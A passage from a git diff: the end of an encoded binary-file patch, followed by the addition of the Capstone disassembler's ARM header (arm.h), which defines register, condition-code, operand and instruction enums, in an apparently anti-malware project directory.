zKhI&geVqR6;pd^|x_5N;aP2#?IhU*uOWRNhcl+jrUc97x5ECL;wZ&W3;y9N0_)HMK zdz|F0eGPB&6WBcHDCvIOv|}+)iFexsNS1L&EKC)EghLtr%Ww}Le|$P5S&E|a${BCS z*d34U7~xa+{{hEmMn>*H>fDiw-){h3#{aK1M}DiukrUjq24$!D)@E$w<~OvpwY2&2 z2ZAeBR#FEKRvj8k#%ci>nCm_0pz~Ayu)v5_UoG(I{b#_Tbi0JtCuaURw0k#56b*Y*l=C~6?ihM zK7mektCufJR8~}1_)dx%R+QqUu9CSN+v2FGzPQ?N-;4zoU4B!0)+DScpI=*1ZS1+W zdTG@dJS?LeLR(R>dc_#TDJHgE;ak@65o<*5ZO#<+^UAH9Q1aN6zRhPQshbh9Ke7EPgy!>oXb;LK=I=X*>xth#GQj16-YhJe z#8Z0q0C~JlTMnAKkcKc~om_ERz^jP4%E_{8UN9N0BNC7Ii2Ytiae$B{nwt`!2?lje z*iS=-FNMLdKQS?XJElB6&Oj&P+r{R1&!Pife(&!fX43=Ft?1}#RE$)5C*wMm$5G`E zae9>5EQw)lpvNr2#)cDQf`0fR>O~qAKNU*=Dh$mDwd}Q+f%M1m>_tS9frzoLzpu~u zim%18Yh^RiqlA5Pu}rj&OyLq=pBdzJTp+x*2U?BQfPM;(Nyv!L{yZ!$o}8MbC>^yN z2F9LRKkjk=%)^g3{Ul_E&I$Y3gAWgCBQYL8sYOtf@Z&vQD6IJk55x;XtKiKkn z`ue)V>uzE^f|ktm^Y?XcmFv!_X&KbFl@73=!m_~YIA7Gpx9?Y_es9qrq#h~6>GcO7 z%(oZqY>81khMi*bdw0Poxk91K!}agsM=8rJY1h#KC5>CSp1ClubDp~H8H!fyXPYiA z@qrKKnbED(Wjx(^4_%7!TrcXS3bYbcT#Hj*(iMNxBPCFw3n0s^9hk25Sa|+6f(jJ) z@qvC-Yt(xpxMmyB-$xS3^Pl(|{)|LGs$fvXP?=bxU`-9JEb%(lD<(*S#k{WJHn=67 z=Msx<_*-W5r_NC#@SYX7~ zPvtCXDxWIjIcE$lUGN@*qsH{FOfE>{3GmsQ&XsLpGpl8MyEFvDcfvxAQ(FvZH{c@% z)ER)6Zp341r2*F%aFqdN23&5yOarDHP+-6r8c3wpvGqCa!$}NWWWA-_daN9o8Xu5Y z#7m!u_xBe0WH3r-WYG9e@}ESF0=-4u1USGYeEhT4$LI^?E5_`K;r$L2`Tr2z;H>_Y z4ML~9m<3j5=Gnw0A?a#v`{6}f#e^~RSuGM(hH5%eH5KR=T=>=2-N_H&9nC3B2?d5;s6}0^E?c0i2osZ%t zQZWW_Sa%l2rh{?~tvy{yuVeZnh|2gRcSAufywel~A`|j5IqpOTvvLU=S2m4a880cZvd&N?HI7waGu- z;4%(~sBP@_UgZ_j7IC&7u`r2y%5yuXjr}cO$O?`-pY7gsgi5sxZyW-Z;Yb6U#eh7Bcq^-n$C@I2e_(% ze!6g@GNkk%RUxH!%Rf_k2URe#tyCg8f`+^m;e1Yd*DXb@Ugx;sJ8_}Ldx1sDPi2uF zBr$4;k6Rq#%%E0gkaF%BI*0Q=2+QQUngTMeGo4QKvwdQwE3)_`3f#il%EHR%A;hF? z*PdiJjd8WDc%!M#-o`16JL@w$u|`Cf+bTdbfy-q6ozwNzfg`!4&ppD%=#AeX_6bUu znyhPZJog~`qo7{zEb4|h%R`N++`UB-EmU3pd-->MN+e8$Ttypo^+pTUMVS;v=78Gp zE|ps2j?*9PK&mrVu(hilF%iNlR;kDB;1SVAMpO;jDQ&eb-$F#06k;GW*TkEkS;Aoq zOyrp7NEoq9XRK|E9+x6Tq+$mtqN;i5DuqpzRHT<`3_@3FRRX`f8vb8@;9mJ#iW2{n<<3IdMn1mRqZ0r4rx=O17@uE{K2O%B`2U`ks4d=h#jp`_yeH|9@j zrkgn?FC}l(@DNSGHq}Lz9y-blif?_Q9BG$vQLK=$P%Byr}Vpz!A|}xohYe(`-Lo9zA0NV*d3w4dPMjg2}DN>-5({OV85hcCvGjO z>>EQ%+qq`Q=e9lY8zhYwoi)9;9y^NG#2w#osQ|P2IR6nXbnBTX)WRtmM3*?k(!lQ~@bmbI}JwQ2*PCl<1kV0#el2U3j2}C1N{T3soW* zFm-s)S%qK#Pl(}Y54I`WsY-R^33lWOcH~ppz--?pLkMlRvV;9ZOm*aJ%g{ZDwMcdp zH&GOmf76l6*h3j1u6dyal4`{wZFS^)^03{ET`cWk>aioA!H#@~qz^_Lh#UKIg;aMA zE4HbaDi?{g<;3*BYw%_Z)@_nNdMF@%B|Vj2f&G!;2c^|TG{U|g&6~R3iZaU}Memi7 zjVuM5jeIZwsMTrH$F6=UrYm&L#0QWaCTEaDOsb&6$3qyEe=H`bk~N}y29=}4VeHAU zIOV1KeOf2hpiGKaCXeYwFg%iorxhkeGjD6u7(mPEVF1+V#2mm>lIi9H8EY_rLXb8X z2&7~@Fq$S+CcQYevJFN0k*6l+?9~wc%MS#JtXxg8Hy(9f?UCXjRWxj0S%)*)S8MuJ zHL9xOs5YrX?l90sbYZqny{K>6Rc4YulEB24+kT8uU&$!?N={QB?uN43hfQ`}`zlc^ zFk@wX{{$lHRtv?bPl~Z=JtU57emhY-5nZ%qXFve+x|lda8Rb1#;KFHsxGWQwphXUx zwa3ep^FTN2Gh1tvn0~=M2bOTF2(&?o<*Kr$S+4q&liS}rM*CGo%x3@6liPpsX!aZ1 z3r}J@V{mf&`^IShyORFrnK&#yNgOimFUA-G_j{^2Lb;wG-%1)@3yz5;Q&Lh43Zy8> z?NWg*N=md`ihq*KDDKy6t zqgY$0t*vo%K03^OB~GRD`cvpkrs@10y1rBCtQkdTfwnVU=lx^QSv`tQe%LFvusSb2 z?$?e%=V<9^?5s|UJJ%bXBJSPg2$!a2DXXeb?ab@W%>BVrYaTWCO$wx0n_77aQ)3?- zB}q+jN>j+nh5oJh@qEtczr92CCTx#!$1vtbjXMjoZjPZ*`@LzjMrqW3WZX~IsO{B4 z??j{42wkVj0BO|TpV|71)~F#VI3$gB<_$!PhQ}j>)R%|f9BVUoWoAHGn>ja>L8wpd z9^QHCP=bc5}p}sK7w$VAPLTTln|AK zgUu2%*yLbw_|sanhV8OEwxPQWHhD^Yl)mv;M^7mQ5;D@{2~X*$9}>H9<#k-n%PuwD zf*YDvPQW#C0xrq>8{D=+cw`4jjxROh6zO7F;G?1B{v6n?t!TQb0wkRh8%O{-LMJI__>6%OFsc%5V%Z^m`Qe~PtVXy zCYcm7JOIF~m70Pq)|2POG^05Gn|#6|2~ON|!taoYN_BB&XHKfr$n~7q(wQe0PkKK8 zp&C!l^Y@+ECv>@1T%Ot`u1~5GlSDr55u2MyBhRcS>L_D)jxI|HP^gfS;Zg$R{}7h+ zaP4f*fnWyYuq2MNl%Nqy31;fYbWoyKzF;Xq7{B#`O~gk@hb(b_p8lAWi!1hj5piH{ zBHh#kjWVKXNIAex*s&Nz&=?14L!!3Un28ZHUt37sKJK67nfF;$B#3*Q({EH>W_w)_*Y_y7ML^UN^_~k*6eBIgy(d6?>z(iYMZHA< zcNY-ti+X<#q{7$-MEmf`kU;K-K(sIFU4+3YR{%!6D}b&C%JrTD`k-)kBCpE?{TqYWFa5;P0wn4l|wUKKPC=vRXHD#)(|eE{gVpajrw1YHmGnxJ~1dZ1jd5vW1XdZ2ZJ zT7hm6)B)5e2#BZb4N*TLmS6dIVJieOyotP_LjHf$kKP1p0)adZ14V zY6R*Nv>vEmP%F@<1a$xn2#RB4D^+J!0&N%WCo?_o(}IoweMZnLK%W(K6ljN_V?du1 zbR6jOf_@9MQ_u;Z|0C!vpt}Tdwf7eUMS*zZnCs;M-7V;zB9pq`09p<%>KzEs;fqX) zUw5%Vdw`Vn4+GsRTDVgDZv{nx?h}+3pou_(!W9JElmHb1eNkLz0R5dHALxETML=H? zR1EZhpeumBEa-26ehU=!z6P{H(D}u9(M!-}K#J1~%O1}K|Nq2IK92NpKpY+FPtMoj ztTt~@2$fQn(dT-RJiHEoREF`{4)p5am3QO)R6ce4L@Yb zeAU7>e=r(4Y(tuw=aA;P&zY>IoPNOM6|12Du z9D4;rf^A|Hwvl`P$STgaO-j2B&an&)c&1DqpuPZY1A0=p9XNkX(9Qtu0y-$%y*U51puqq=0Q9tQyK!cSxiSt^Xb-Lr3AY#L z+XU?o&|^T)3O9uF?Sg2fLJae;aMVB>bLCp0AK>~q;adf`t!uf-OSf>=inBV)caA;bj@57#u0V)8Z72&oiSKsip z&%J)mA1ZS$dEuU#*X}92@vV!CH-Bw;&z=u_ci&eg-Ceu*TeFYey}0zb`2}zNp#8k> zRYd-<=nFshwmx&Tf6c$Y`O@z`vG?iERF?JL(+8z;#NM?}*bnLu!aw^pUp5T6kq(?$ zRkvUIESe2dX`|YU+AL(P`k1ojxE1uewuT0Mi9a&>^UIbDKD{enWL6Yq?3a-lLT-ew zBct>7Zr|I(f}xMI^*?2lMKgf%@C%vCa8=+i3vpHGFl^&|hvCRZ9khqXI(3P&VOVq3 zVVFA&5yvN{f4b0d5y{XU=%Px(5#2^_Wz1_6*^ zDWRJ0C#F|;I*-v(YR%(4lVUGvM&(83*W>GJ_6t5tu!Qawsz! zjE{;D=#i@08Ze9w@3W6M3^xYffqR8e&vjtBr`k*%n8Oa!491^k%WMJD>M)-IQ-ZsO zQ1e}2jyuek!0bWQ4P_nz(~X89Wd0S5Kg(vG2BQv>7eCBkewo3%k-_A$A(X@DIXiQ@MD>mt&--H0C^~90keRF zDnDkkqB1a?caWOG4VL8le}9PvGw?NME@ZgHQOGc?bq+Hh%u$Ca2Qw930$+0({2^4g zfDsGl*}h8WK}MBlZ6OWxRC(6S+&N%4V?aH!RdWBNmR+VX0JQ=w~|&)8|}=Vfy$E!)RRUFf^JUxC>K*X?Uf>(CA8sq0uWGhDNWk znYpw_)pwK2)T8RVVL<5mt{DdIsrs%NNgq|;H6vwA)pyNE%B%WrGpfGZjH>UNk-Sj# z-DXsMw;5I6H8YoC;(s>4w8A{{SPdL_RKEjI$(*chmUt~-+}j<7 zHvfmi&}P+!>wKpg-G*ysjuh5QROn#~@PxFhcKLbHW~kWvsm+Mymu*Js`!5`ZDVA~= z#^Tow!_;`)VVJ6K1dP3{4Vo7{-T?3>{?m&^xst2AYSb;i$T;6IMFoeii9F-?kuRQy zr35SsJU*sk!U4_$@p9t7q}2j{)sVWSp=jKq5E7k>FCGskeQ1vGId? zqkV~t(0jlzWTl7H5Exn-%6tzD1`d|Y5ils=mdtU@gnDw&GZZ;8lQk2{aK#|&SQu6r zm@AyH;$RjzGB4uyI)fQdUYw}Yv4WIhk3+L3t>OqC<^Fqotx^Q86_hV=rN^^VLi zm>V5E%-k+VW*Qj!3iVtDrq_|V3QUJ1vkJ@(M`j(EEso3+3m|yvKqw? zg&hY!u*lpAnd`vN9>w5JxR(3w6bFoa8Mkz9sgJOfjArKX@u0&jh^I3P8`GH5IlI!C z(*5boyd&w%0!GLVt8}5C#+1#8r!%E}>CC)?>C6HqjIFtBVKR-GH)lsWQ#zE!EGYSb zYxBI41=X(1ypnRZI4Ue8uh)i@HwVnZal6CVTRffx*W5^rNZF?y@DYAO6!&nr9jw(; z9QsO6is&md*`Y7xrVBXKQBi^HpI=sc%lej^>(;AJ92rjSg5*`KTH!k5T01RW<2vzL zJFS>sUQ*-uQ%vZ*Jl%D9;J2x@-E}0PeI^o195-HTr`4?}%#NdCjPvI9j)n~%as@P} zMXFb^kkW z-K*6!=H526G$WssyL>uU?E*!pH_al{N=bIK$+lc%>zmr^+Bbx#wxNp`VM$Q}wb*Z~ zjSg)Mx71?Css>{0@YEb!+|t(4*&1AllTgMJ%2&O?o7$j`7cH&$h*oEFhsM~ZN(GNl z+H339u5D;r3$eB(jSXvWWpX#H?S$Q%YuA#1-7U8^H3U0MhV?}6;b;+h z`$pQP_AoPhR@zJ`B(p7Ai=+`IU(809xR$9GOM||){c|@jOG4+or9-A>ED3!b>IjNR zXh%qeV!HH%LWW2eVX;b=5-t>!7AKTZm!Y#Rk)ePgLJ_;DhH?%Y3I_!_lnkj*EG*-p zoW+HLR{0MlZ88+KDn}@4lc6Y0lA03=hLkI&DwQjzxlk~uaG_jCIby0VI%1j%#b8QM zO+!hC)xu%5({dJ}Mcn$R#nQ-hQB_&fWfgmM?Mm63uYEPX$cIh!Vpq?(`s$N4sj=9? y*h02M9OtP1&0K_Sr?|05;mN?JhWc9WW{1|Yoh`(&4G3m&U3-JmTBvqn!hZp3Y-$hy literal 0 HcmV?d00001 diff --git a/ai_anti_malware/capstone/include/capstone/arm.h b/ai_anti_malware/capstone/include/capstone/arm.h new file mode 100644 index 0000000..21ba5be --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/arm.h @@ -0,0 +1,937 @@ +#ifndef CAPSTONE_ARM_H +#define CAPSTONE_ARM_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2013-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// ARM shift type +typedef enum arm_shifter { + ARM_SFT_INVALID = 0, + ARM_SFT_ASR, ///< shift with immediate const + ARM_SFT_LSL, ///< shift with immediate const + ARM_SFT_LSR, ///< shift with immediate const + ARM_SFT_ROR, ///< shift with immediate const + ARM_SFT_RRX, ///< shift with immediate const + ARM_SFT_ASR_REG, ///< shift with register + ARM_SFT_LSL_REG, ///< shift with register + ARM_SFT_LSR_REG, ///< shift with register + ARM_SFT_ROR_REG, ///< shift with register + ARM_SFT_RRX_REG, ///< shift with register +} arm_shifter; + +/// ARM condition code +typedef enum arm_cc { + ARM_CC_INVALID = 0, + ARM_CC_EQ, ///< Equal Equal + ARM_CC_NE, ///< Not equal Not equal, or unordered + ARM_CC_HS, ///< Carry set >, ==, or unordered + ARM_CC_LO, ///< Carry clear Less than + ARM_CC_MI, ///< Minus, negative Less than + ARM_CC_PL, ///< Plus, positive or zero >, ==, or unordered + ARM_CC_VS, ///< Overflow Unordered + ARM_CC_VC, ///< No overflow Not unordered + ARM_CC_HI, ///< Unsigned higher Greater than, or unordered + ARM_CC_LS, ///< Unsigned lower or same Less than or equal + ARM_CC_GE, ///< Greater than or equal Greater than or equal + ARM_CC_LT, ///< Less than Less than, or unordered + ARM_CC_GT, ///< Greater than Greater than + ARM_CC_LE, ///< Less than or equal <, ==, or unordered + ARM_CC_AL ///< Always (unconditional) Always (unconditional) +} arm_cc; + +typedef enum arm_sysreg { + /// Special registers for MSR + ARM_SYSREG_INVALID = 0, + + // SPSR* registers can be OR combined + ARM_SYSREG_SPSR_C = 1, + ARM_SYSREG_SPSR_X = 2, + ARM_SYSREG_SPSR_S = 4, + ARM_SYSREG_SPSR_F = 8, + + // CPSR* registers can be OR combined + ARM_SYSREG_CPSR_C = 16, + ARM_SYSREG_CPSR_X = 32, + ARM_SYSREG_CPSR_S = 64, + ARM_SYSREG_CPSR_F = 128, + + // independent registers + ARM_SYSREG_APSR = 256, + ARM_SYSREG_APSR_G, + ARM_SYSREG_APSR_NZCVQ, + ARM_SYSREG_APSR_NZCVQG, + + ARM_SYSREG_IAPSR, + ARM_SYSREG_IAPSR_G, + ARM_SYSREG_IAPSR_NZCVQG, + ARM_SYSREG_IAPSR_NZCVQ, + + ARM_SYSREG_EAPSR, + ARM_SYSREG_EAPSR_G, + ARM_SYSREG_EAPSR_NZCVQG, + ARM_SYSREG_EAPSR_NZCVQ, + + ARM_SYSREG_XPSR, + ARM_SYSREG_XPSR_G, + ARM_SYSREG_XPSR_NZCVQG, + ARM_SYSREG_XPSR_NZCVQ, + + ARM_SYSREG_IPSR, + ARM_SYSREG_EPSR, + ARM_SYSREG_IEPSR, + + ARM_SYSREG_MSP, + ARM_SYSREG_PSP, + ARM_SYSREG_PRIMASK, + ARM_SYSREG_BASEPRI, + ARM_SYSREG_BASEPRI_MAX, + ARM_SYSREG_FAULTMASK, + ARM_SYSREG_CONTROL, + + // Banked Registers + ARM_SYSREG_R8_USR, + ARM_SYSREG_R9_USR, + ARM_SYSREG_R10_USR, + ARM_SYSREG_R11_USR, + ARM_SYSREG_R12_USR, + ARM_SYSREG_SP_USR, + ARM_SYSREG_LR_USR, + ARM_SYSREG_R8_FIQ, + ARM_SYSREG_R9_FIQ, + ARM_SYSREG_R10_FIQ, + ARM_SYSREG_R11_FIQ, + ARM_SYSREG_R12_FIQ, + ARM_SYSREG_SP_FIQ, + ARM_SYSREG_LR_FIQ, + ARM_SYSREG_LR_IRQ, + ARM_SYSREG_SP_IRQ, + ARM_SYSREG_LR_SVC, + ARM_SYSREG_SP_SVC, + ARM_SYSREG_LR_ABT, + ARM_SYSREG_SP_ABT, + ARM_SYSREG_LR_UND, + ARM_SYSREG_SP_UND, + ARM_SYSREG_LR_MON, + ARM_SYSREG_SP_MON, + ARM_SYSREG_ELR_HYP, + ARM_SYSREG_SP_HYP, + + ARM_SYSREG_SPSR_FIQ, + ARM_SYSREG_SPSR_IRQ, + ARM_SYSREG_SPSR_SVC, + ARM_SYSREG_SPSR_ABT, + ARM_SYSREG_SPSR_UND, + ARM_SYSREG_SPSR_MON, + ARM_SYSREG_SPSR_HYP, +} arm_sysreg; + +/// The memory barrier constants map directly to the 4-bit encoding of +/// the option field for Memory Barrier operations. +typedef enum arm_mem_barrier { + ARM_MB_INVALID = 0, + ARM_MB_RESERVED_0, + ARM_MB_OSHLD, + ARM_MB_OSHST, + ARM_MB_OSH, + ARM_MB_RESERVED_4, + ARM_MB_NSHLD, + ARM_MB_NSHST, + ARM_MB_NSH, + ARM_MB_RESERVED_8, + ARM_MB_ISHLD, + ARM_MB_ISHST, + ARM_MB_ISH, + ARM_MB_RESERVED_12, + ARM_MB_LD, + ARM_MB_ST, + ARM_MB_SY, +} arm_mem_barrier; + +/// Operand type for instruction's operands +typedef enum arm_op_type { + ARM_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + ARM_OP_REG, ///< = CS_OP_REG (Register operand). + ARM_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + ARM_OP_MEM, ///< = CS_OP_MEM (Memory operand). + ARM_OP_FP, ///< = CS_OP_FP (Floating-Point operand). + ARM_OP_CIMM = 64, ///< C-Immediate (coprocessor registers) + ARM_OP_PIMM, ///< P-Immediate (coprocessor registers) + ARM_OP_SETEND, ///< operand for SETEND instruction + ARM_OP_SYSREG, ///< MSR/MRS special register operand +} arm_op_type; + +/// Operand type for SETEND instruction +typedef enum arm_setend_type { + ARM_SETEND_INVALID = 0, ///< Uninitialized. + ARM_SETEND_BE, ///< BE operand. + ARM_SETEND_LE, ///< LE operand +} arm_setend_type; + +typedef enum arm_cpsmode_type { + ARM_CPSMODE_INVALID = 0, + ARM_CPSMODE_IE = 2, + ARM_CPSMODE_ID = 3 +} arm_cpsmode_type; + +/// Operand type for SETEND instruction +typedef enum arm_cpsflag_type { + ARM_CPSFLAG_INVALID = 0, + ARM_CPSFLAG_F = 1, + ARM_CPSFLAG_I = 2, + ARM_CPSFLAG_A = 4, + ARM_CPSFLAG_NONE = 16, ///< no flag +} arm_cpsflag_type; + +/// Data type for elements of vector instructions. +typedef enum arm_vectordata_type { + ARM_VECTORDATA_INVALID = 0, + + // Integer type + ARM_VECTORDATA_I8, + ARM_VECTORDATA_I16, + ARM_VECTORDATA_I32, + ARM_VECTORDATA_I64, + + // Signed integer type + ARM_VECTORDATA_S8, + ARM_VECTORDATA_S16, + ARM_VECTORDATA_S32, + ARM_VECTORDATA_S64, + + // Unsigned integer type + ARM_VECTORDATA_U8, + ARM_VECTORDATA_U16, + ARM_VECTORDATA_U32, + ARM_VECTORDATA_U64, + + // Data type for VMUL/VMULL + ARM_VECTORDATA_P8, + + // Floating type + ARM_VECTORDATA_F32, + ARM_VECTORDATA_F64, + + // Convert float <-> float + ARM_VECTORDATA_F16F64, // f16.f64 + ARM_VECTORDATA_F64F16, // f64.f16 + ARM_VECTORDATA_F32F16, // f32.f16 + ARM_VECTORDATA_F16F32, // f32.f16 + ARM_VECTORDATA_F64F32, // f64.f32 + ARM_VECTORDATA_F32F64, // f32.f64 + + // Convert integer <-> float + ARM_VECTORDATA_S32F32, // s32.f32 + ARM_VECTORDATA_U32F32, // u32.f32 + ARM_VECTORDATA_F32S32, // f32.s32 + ARM_VECTORDATA_F32U32, // f32.u32 + ARM_VECTORDATA_F64S16, // f64.s16 + ARM_VECTORDATA_F32S16, // f32.s16 + ARM_VECTORDATA_F64S32, // f64.s32 + ARM_VECTORDATA_S16F64, // s16.f64 + ARM_VECTORDATA_S16F32, // s16.f64 + ARM_VECTORDATA_S32F64, // s32.f64 + ARM_VECTORDATA_U16F64, // u16.f64 + ARM_VECTORDATA_U16F32, // u16.f32 + ARM_VECTORDATA_U32F64, // u32.f64 + ARM_VECTORDATA_F64U16, // f64.u16 + ARM_VECTORDATA_F32U16, // f32.u16 + ARM_VECTORDATA_F64U32, // f64.u32 +} arm_vectordata_type; + +/// ARM registers +typedef enum arm_reg { + ARM_REG_INVALID = 0, + ARM_REG_APSR, + ARM_REG_APSR_NZCV, + ARM_REG_CPSR, + ARM_REG_FPEXC, + ARM_REG_FPINST, + ARM_REG_FPSCR, + ARM_REG_FPSCR_NZCV, + ARM_REG_FPSID, + ARM_REG_ITSTATE, + ARM_REG_LR, + ARM_REG_PC, + ARM_REG_SP, + ARM_REG_SPSR, + ARM_REG_D0, + ARM_REG_D1, + ARM_REG_D2, + ARM_REG_D3, + ARM_REG_D4, + ARM_REG_D5, + ARM_REG_D6, + ARM_REG_D7, + ARM_REG_D8, + ARM_REG_D9, + ARM_REG_D10, + ARM_REG_D11, + ARM_REG_D12, + ARM_REG_D13, + ARM_REG_D14, + ARM_REG_D15, + ARM_REG_D16, + ARM_REG_D17, + ARM_REG_D18, + ARM_REG_D19, + ARM_REG_D20, + ARM_REG_D21, + ARM_REG_D22, + ARM_REG_D23, + ARM_REG_D24, + ARM_REG_D25, + ARM_REG_D26, + ARM_REG_D27, + ARM_REG_D28, + ARM_REG_D29, + ARM_REG_D30, + ARM_REG_D31, + ARM_REG_FPINST2, + ARM_REG_MVFR0, + ARM_REG_MVFR1, + ARM_REG_MVFR2, + ARM_REG_Q0, + ARM_REG_Q1, + ARM_REG_Q2, + ARM_REG_Q3, + ARM_REG_Q4, + ARM_REG_Q5, + ARM_REG_Q6, + ARM_REG_Q7, + ARM_REG_Q8, + ARM_REG_Q9, + ARM_REG_Q10, + ARM_REG_Q11, + ARM_REG_Q12, + ARM_REG_Q13, + ARM_REG_Q14, + ARM_REG_Q15, + ARM_REG_R0, + ARM_REG_R1, + ARM_REG_R2, + ARM_REG_R3, + ARM_REG_R4, + ARM_REG_R5, + ARM_REG_R6, + ARM_REG_R7, + ARM_REG_R8, + ARM_REG_R9, + ARM_REG_R10, + ARM_REG_R11, + ARM_REG_R12, + ARM_REG_S0, + ARM_REG_S1, + ARM_REG_S2, + ARM_REG_S3, + ARM_REG_S4, + ARM_REG_S5, + ARM_REG_S6, + ARM_REG_S7, + ARM_REG_S8, + ARM_REG_S9, + ARM_REG_S10, + ARM_REG_S11, + ARM_REG_S12, + ARM_REG_S13, + ARM_REG_S14, + ARM_REG_S15, + ARM_REG_S16, + ARM_REG_S17, + ARM_REG_S18, + ARM_REG_S19, + ARM_REG_S20, + ARM_REG_S21, + ARM_REG_S22, + ARM_REG_S23, + ARM_REG_S24, + ARM_REG_S25, + ARM_REG_S26, + ARM_REG_S27, + ARM_REG_S28, + ARM_REG_S29, + ARM_REG_S30, + ARM_REG_S31, + + ARM_REG_ENDING, // <-- mark the end of the list or registers + + // alias registers + ARM_REG_R13 = ARM_REG_SP, + ARM_REG_R14 = ARM_REG_LR, + ARM_REG_R15 = ARM_REG_PC, + + ARM_REG_SB = ARM_REG_R9, + ARM_REG_SL = ARM_REG_R10, + ARM_REG_FP = ARM_REG_R11, + ARM_REG_IP = ARM_REG_R12, +} arm_reg; + +/// Instruction's operand referring to memory +/// This is associated with ARM_OP_MEM operand type above +typedef struct arm_op_mem { + arm_reg base; ///< base register + arm_reg index; ///< index register + int scale; ///< scale for index register (can be 1, or -1) + int disp; ///< displacement/offset value + /// left-shift on index register, or 0 if irrelevant + /// NOTE: this value can also be fetched via operand.shift.value + int lshift; +} arm_op_mem; + +/// Instruction operand +typedef struct cs_arm_op { + int vector_index; ///< Vector Index for some vector operands (or -1 if irrelevant) + + struct { + arm_shifter type; + unsigned int value; + } shift; + + arm_op_type type; ///< operand type + + union { + int reg; ///< register value for REG/SYSREG operand + int32_t imm; ///< immediate value for C-IMM, P-IMM or IMM operand + double fp; ///< floating point value for FP operand + arm_op_mem mem; ///< base/index/scale/disp value for MEM operand + arm_setend_type setend; ///< SETEND instruction's operand type + }; + + /// in some instructions, an operand can be subtracted or added to + /// the base register, + /// if TRUE, this operand is subtracted. otherwise, it is added. + bool subtracted; + + /// How is this operand accessed? (READ, WRITE or READ|WRITE) + /// This field is combined of cs_ac_type. + /// NOTE: this field is irrelevant if engine is compiled in DIET mode. + uint8_t access; + + /// Neon lane index for NEON instructions (or -1 if irrelevant) + int8_t neon_lane; +} cs_arm_op; + +/// Instruction structure +typedef struct cs_arm { + bool usermode; ///< User-mode registers to be loaded (for LDM/STM instructions) + int vector_size; ///< Scalar size for vector instructions + arm_vectordata_type vector_data; ///< Data type for elements of vector instructions + arm_cpsmode_type cps_mode; ///< CPS mode for CPS instruction + arm_cpsflag_type cps_flag; ///< CPS mode for CPS instruction + arm_cc cc; ///< conditional code for this insn + bool update_flags; ///< does this insn update flags? + bool writeback; ///< does this insn write-back? + arm_mem_barrier mem_barrier; ///< Option for some memory barrier instructions + + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + + cs_arm_op operands[36]; ///< operands for this instruction. +} cs_arm; + +/// ARM instruction +typedef enum arm_insn { + ARM_INS_INVALID = 0, + + ARM_INS_ADC, + ARM_INS_ADD, + ARM_INS_ADR, + ARM_INS_AESD, + ARM_INS_AESE, + ARM_INS_AESIMC, + ARM_INS_AESMC, + ARM_INS_AND, + ARM_INS_BFC, + ARM_INS_BFI, + ARM_INS_BIC, + ARM_INS_BKPT, + ARM_INS_BL, + ARM_INS_BLX, + ARM_INS_BX, + ARM_INS_BXJ, + ARM_INS_B, + ARM_INS_CDP, + ARM_INS_CDP2, + ARM_INS_CLREX, + ARM_INS_CLZ, + ARM_INS_CMN, + ARM_INS_CMP, + ARM_INS_CPS, + ARM_INS_CRC32B, + ARM_INS_CRC32CB, + ARM_INS_CRC32CH, + ARM_INS_CRC32CW, + ARM_INS_CRC32H, + ARM_INS_CRC32W, + ARM_INS_DBG, + ARM_INS_DMB, + ARM_INS_DSB, + ARM_INS_EOR, + ARM_INS_ERET, + ARM_INS_VMOV, + ARM_INS_FLDMDBX, + ARM_INS_FLDMIAX, + ARM_INS_VMRS, + ARM_INS_FSTMDBX, + ARM_INS_FSTMIAX, + ARM_INS_HINT, + ARM_INS_HLT, + ARM_INS_HVC, + ARM_INS_ISB, + ARM_INS_LDA, + ARM_INS_LDAB, + ARM_INS_LDAEX, + ARM_INS_LDAEXB, + ARM_INS_LDAEXD, + ARM_INS_LDAEXH, + ARM_INS_LDAH, + ARM_INS_LDC2L, + ARM_INS_LDC2, + ARM_INS_LDCL, + ARM_INS_LDC, + ARM_INS_LDMDA, + ARM_INS_LDMDB, + ARM_INS_LDM, + ARM_INS_LDMIB, + ARM_INS_LDRBT, + ARM_INS_LDRB, + ARM_INS_LDRD, + ARM_INS_LDREX, + ARM_INS_LDREXB, + ARM_INS_LDREXD, + ARM_INS_LDREXH, + ARM_INS_LDRH, + ARM_INS_LDRHT, + ARM_INS_LDRSB, + ARM_INS_LDRSBT, + ARM_INS_LDRSH, + ARM_INS_LDRSHT, + ARM_INS_LDRT, + ARM_INS_LDR, + ARM_INS_MCR, + ARM_INS_MCR2, + ARM_INS_MCRR, + ARM_INS_MCRR2, + ARM_INS_MLA, + ARM_INS_MLS, + ARM_INS_MOV, + ARM_INS_MOVT, + ARM_INS_MOVW, + ARM_INS_MRC, + ARM_INS_MRC2, + ARM_INS_MRRC, + ARM_INS_MRRC2, + ARM_INS_MRS, + ARM_INS_MSR, + ARM_INS_MUL, + ARM_INS_MVN, + ARM_INS_ORR, + ARM_INS_PKHBT, + ARM_INS_PKHTB, + ARM_INS_PLDW, + ARM_INS_PLD, + ARM_INS_PLI, + ARM_INS_QADD, + ARM_INS_QADD16, + ARM_INS_QADD8, + ARM_INS_QASX, + ARM_INS_QDADD, + ARM_INS_QDSUB, + ARM_INS_QSAX, + ARM_INS_QSUB, + ARM_INS_QSUB16, + ARM_INS_QSUB8, + ARM_INS_RBIT, + ARM_INS_REV, + ARM_INS_REV16, + ARM_INS_REVSH, + ARM_INS_RFEDA, + ARM_INS_RFEDB, + ARM_INS_RFEIA, + ARM_INS_RFEIB, + ARM_INS_RSB, + ARM_INS_RSC, + ARM_INS_SADD16, + ARM_INS_SADD8, + ARM_INS_SASX, + ARM_INS_SBC, + ARM_INS_SBFX, + ARM_INS_SDIV, + ARM_INS_SEL, + ARM_INS_SETEND, + ARM_INS_SHA1C, + ARM_INS_SHA1H, + ARM_INS_SHA1M, + ARM_INS_SHA1P, + ARM_INS_SHA1SU0, + ARM_INS_SHA1SU1, + ARM_INS_SHA256H, + ARM_INS_SHA256H2, + ARM_INS_SHA256SU0, + ARM_INS_SHA256SU1, + ARM_INS_SHADD16, + ARM_INS_SHADD8, + ARM_INS_SHASX, + ARM_INS_SHSAX, + ARM_INS_SHSUB16, + ARM_INS_SHSUB8, + ARM_INS_SMC, + ARM_INS_SMLABB, + ARM_INS_SMLABT, + ARM_INS_SMLAD, + ARM_INS_SMLADX, + ARM_INS_SMLAL, 